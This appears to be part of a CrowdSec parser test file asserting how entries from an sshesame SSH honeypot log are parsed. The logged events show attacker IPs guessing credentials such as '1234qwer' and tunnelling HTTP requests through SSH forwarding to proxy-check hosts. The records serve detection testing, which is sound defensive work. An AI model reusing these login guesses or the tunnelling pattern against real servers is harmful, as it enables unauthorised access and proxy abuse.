== "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][336].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][336].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] authentication for user \"!root\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][336].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][336].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][336].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][337].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][337].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] authentication for user \"!root\" with password \"\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][337].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][337].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][337].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][338].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][338].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] connection with client version \"SSH-2.0-PuTTY_Release_0.63\" established" results["s00-raw"]["crowdsecurity/non-syslog"][338].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][338].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][338].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][339].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][339].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] direct TCP/IP forwarding from 127.0.0.1:17762 to 74.125.205.102:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][339].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][339].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][339].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][340].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][340].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][340].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][340].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][340].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][341].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][341].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][341].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][341].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][341].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][342].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][342].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] direct TCP/IP forwarding from 127.0.0.1:640 to [2a00:1450:4010:c02::64]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][342].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][342].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][342].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][343].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][343].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][343].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][343].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][343].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][344].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][344].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][344].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][344].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][344].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][345].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][345].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][345].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][345].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][345].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][346].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][346].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][346].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39092] authentication for user \"root\" with password \"1234qwer\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][346].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][346].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][347].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][347].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][347].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39092] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][347].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][347].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][348].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][348].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][348].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39098] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][348].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][348].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][349].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][349].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39098] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][349].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][349].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][349].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][350].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][350].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39092] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][350].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][350].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][350].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][351].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][351].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39098] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][351].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][351].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][351].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][352].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][352].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39092] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][352].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][352].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][352].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][353].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][353].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39092] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][353].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][353].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][353].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][354].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][354].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][354].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] authentication for user \"admin\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][354].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][354].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][355].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][355].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][355].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][355].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][355].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][356].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][356].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] connection with client version \"SSH-2.0-PuTTY_Release_0.65\" established" results["s00-raw"]["crowdsecurity/non-syslog"][356].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][356].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][356].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][357].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][357].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][357].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] direct TCP/IP forwarding from 127.0.0.1:24423 to 74.125.205.138:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][357].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][357].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][358].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][358].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][358].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][358].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][358].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][359].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][359].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][359].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][359].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][359].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][360].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][360].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][360].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] direct TCP/IP forwarding from 127.0.0.1:1511 to [2a00:1450:4010:c02::8a]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][360].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][360].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][361].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][361].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][361].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][361].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][361].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][362].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][362].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][362].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][362].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][362].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][363].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][363].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][363].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][363].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][363].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][364].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][364].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][364].Evt.Parsed["message"] == "2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][364].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][364].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][365].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][365].Evt.Parsed["message"] == "2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] input: \"GET /?requestid=57232 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][365].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][365].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][365].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][366].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][366].Evt.Parsed["message"] == "2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] closed" results["s00-raw"]["crowdsecurity/non-syslog"][366].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][366].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][366].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][367].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][367].Evt.Parsed["message"] == "2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.139.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][367].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][367].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][367].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][368].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][368].Evt.Parsed["message"] == "2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][368].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][368].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][368].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][369].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][369].Evt.Parsed["message"] == "2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][369].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][369].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][369].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][370].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][370].Evt.Parsed["message"] == "2022/05/06 16:17:16 [45.82.65.44:42736] [channel 32] closed" results["s00-raw"]["crowdsecurity/non-syslog"][370].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][370].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][370].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][371].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][371].Evt.Parsed["message"] == "2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.142.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][371].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][371].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][371].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][372].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][372].Evt.Parsed["message"] == "2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][372].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][372].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][372].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][373].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][373].Evt.Parsed["message"] == "2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][373].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][373].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][373].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][374].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][374].Evt.Parsed["message"] == "2022/05/06 16:28:34 [45.82.65.44:42736] [channel 33] closed" results["s00-raw"]["crowdsecurity/non-syslog"][374].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][374].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][374].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][375].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][375].Evt.Parsed["message"] == "2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][375].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][375].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][375].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][376].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][376].Evt.Parsed["message"] == "2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] input: \"GET /?requestid=44562 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][376].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][376].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][376].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][377].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][377].Evt.Parsed["message"] == "2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] closed" results["s00-raw"]["crowdsecurity/non-syslog"][377].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][377].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][377].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][378].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][378].Evt.Parsed["message"] == "2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][378].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][378].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][378].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][379].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][379].Evt.Parsed["message"] == "2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] input: \"GET /?requestid=90219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][379].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][379].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][379].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][380].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][380].Evt.Parsed["message"] == "2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] closed" results["s00-raw"]["crowdsecurity/non-syslog"][380].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][380].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][380].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 381 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][14].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][15].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][16].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][17].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][18].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][19].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][20].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][21].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][22].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][23].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][24].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][25].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][26].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][27].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][28].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][29].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][30].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][31].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][32].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][33].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][34].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][35].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][36].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][37].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][38].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][39].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][40].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][41].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][42].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][43].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][44].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][45].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][46].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][47].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][48].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][49].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][50].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][51].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][52].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][53].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][54].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][55].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][56].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][57].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][58].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][59].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][60].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][61].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][62].Success == false 